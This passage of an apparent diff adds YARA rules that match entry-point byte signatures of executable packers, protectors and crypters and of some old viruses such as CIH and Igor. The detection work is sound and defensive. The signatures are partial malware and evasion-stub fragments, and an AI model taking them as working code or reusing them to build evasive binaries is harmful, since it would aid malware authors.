+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Igor_
+{
+	meta:
+		description = "Vx: Igor"
+	strings:
+		$0 = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_Master_v10_
+{
+	meta:
+		description = "Pack Master v1.0"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+		$1 = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crinkler_V01V02__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_501__NorthFox__HCC_
+{
+	meta:
+		description = "Mew 5.0.1 -> NorthFox / HCC"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v_after_v14_
+{
+	meta:
+		description = "Petite v?.? (after v1.4)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1342__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.4.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PESHiELD_2x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PESHiELD 2.x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 1.x] --> Anorganix"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_Alt_Stub__Dwing_
+{
+	meta:
+		description = "UPack Alt Stub -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _PassLock_2000_v10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 v1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Crypter_31__SLESH_
+{
+	meta:
+		description = "Crypter 3.1 -> SLESH"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+	condition:
+		$0
+}
+rule _KGB_SFX_
+{
+	meta:
+		description = "KGB SFX"
+	strings:
+		$0 = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V34V35__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.4-V3.5 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Excalibur_103__forgot_
+{
+	meta:
+		description = "Excalibur 1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013_
+{
+	meta:
+		description = "XCR v0.13"
+	strings:
+		$0 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v1051_
+{
+	meta:
+		description = "SVK-Protector v1.051"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_CIH_Version_12_TTIT__WIN95CIH__
+{
+	meta:
+		description = "Vx: CIH Version 1.2 TTIT (! WIN95CIH !)"
+	strings:
+		$0 = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [32Lite 0.03] --> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AHPack_01__FEUERRADER_
+{
+	meta:
+		description = "AHPack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071_
+{
+	meta:
+		description = "tElock v0.71"
+	strings:
+		$0 = {60 E8 ED 10 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+		$2 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _Shrink_Wrap_v14_
+{
+	meta:
+		description = "Shrink Wrap v1.4"
+	strings:
+		$0 = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2001__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.001 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Crunch/PE Heuristic] --> Anorganix"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_6_
+{
+	meta:
+		description = "kryptor 6"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT4Family_
+{
+	meta:
+		description = "Vx: GRUNT.4.Family"
+	strings:
+		$0 = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PcShare__v40___
+{
+	meta:
+		description = "PcShare ÎļþÀ¦°óÆ÷ v4.0 -> ÎÞ¿É·ÇÒé"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CD-Cops II] --> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_v28__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 -> Spirit"
+	strings:
+		$0 = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+	condition:
+		$0
+}
+rule _ActiveMARKTM_R5311140__Trymedia_
+{
+	meta:
+		description = "ActiveMARK[TM] R5.31.1140 -> Trymedia"
+	strings:
+		$0 = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Number_One_
+{
+	meta:
+		description = "Vx: Number One"
+	strings:
+		$0 = {F9 07 3C 53 6D 69 6C 65 3E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _NTPacker_V2X__ErazerZ_
+{
+	meta:
+		description = "NTPacker V2.X -> ErazerZ"
+	strings:
+		$0 = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+	condition:
+		$0
+}
+rule _UPack_v011__Dwing_
+{
+	meta:
+		description = "UPack v0.11 -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+	condition:
+		$0
+}
+rule _PECompact_v0971__v0976_
+{
+	meta:
+		description = "PECompact v0.971 - v0.976"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v015b_
+{
+	meta:
+		description = "CodeCrypt v0.15b"
+	strings:
+		$0 = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _ocBat2Exe_10__OC_
+{
+	meta:
+		description = "ocBat2Exe 1.0 -> OC"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+	condition:
+		$0
+}
+rule _VProtector_10X__vcasm_
+{
+	meta:
+		description = "VProtector 1.0X -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FixupPak_v120_
+{
+	meta:
+		description = "FixupPak v1.20"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+	condition:
+		$0
+}
+rule _AHpack_01__FEUERRADER_
+{
+	meta:
+		description = "AHpack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Pi_Cryptor_10__by_Scofield_
+{
+	meta:
+		description = "Pi Cryptor 1.0 - by Scofield"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+		$2 = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+	condition:
+		$0 or $1 at entrypoint or $2
+}
+rule _kkrunchy_V02X__Ryd_
+{
+	meta:
+		description = "kkrunchy V0.2X -> Ryd"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MEW 11 SE 1.0] --> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_p_ECLiPSE_layer_
+{
+	meta:
+		description = "UPX + ECLiPSE layer"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Vpacker__ttui_
+{
+	meta:
+		description = "Vpacker -> ttui"
+	strings:
+		$0 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_PEBundle_20x__24x__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman v1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_121build0909_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.21.build.09.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Nullsoft_Install_System_v1xx_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx"
+	strings:
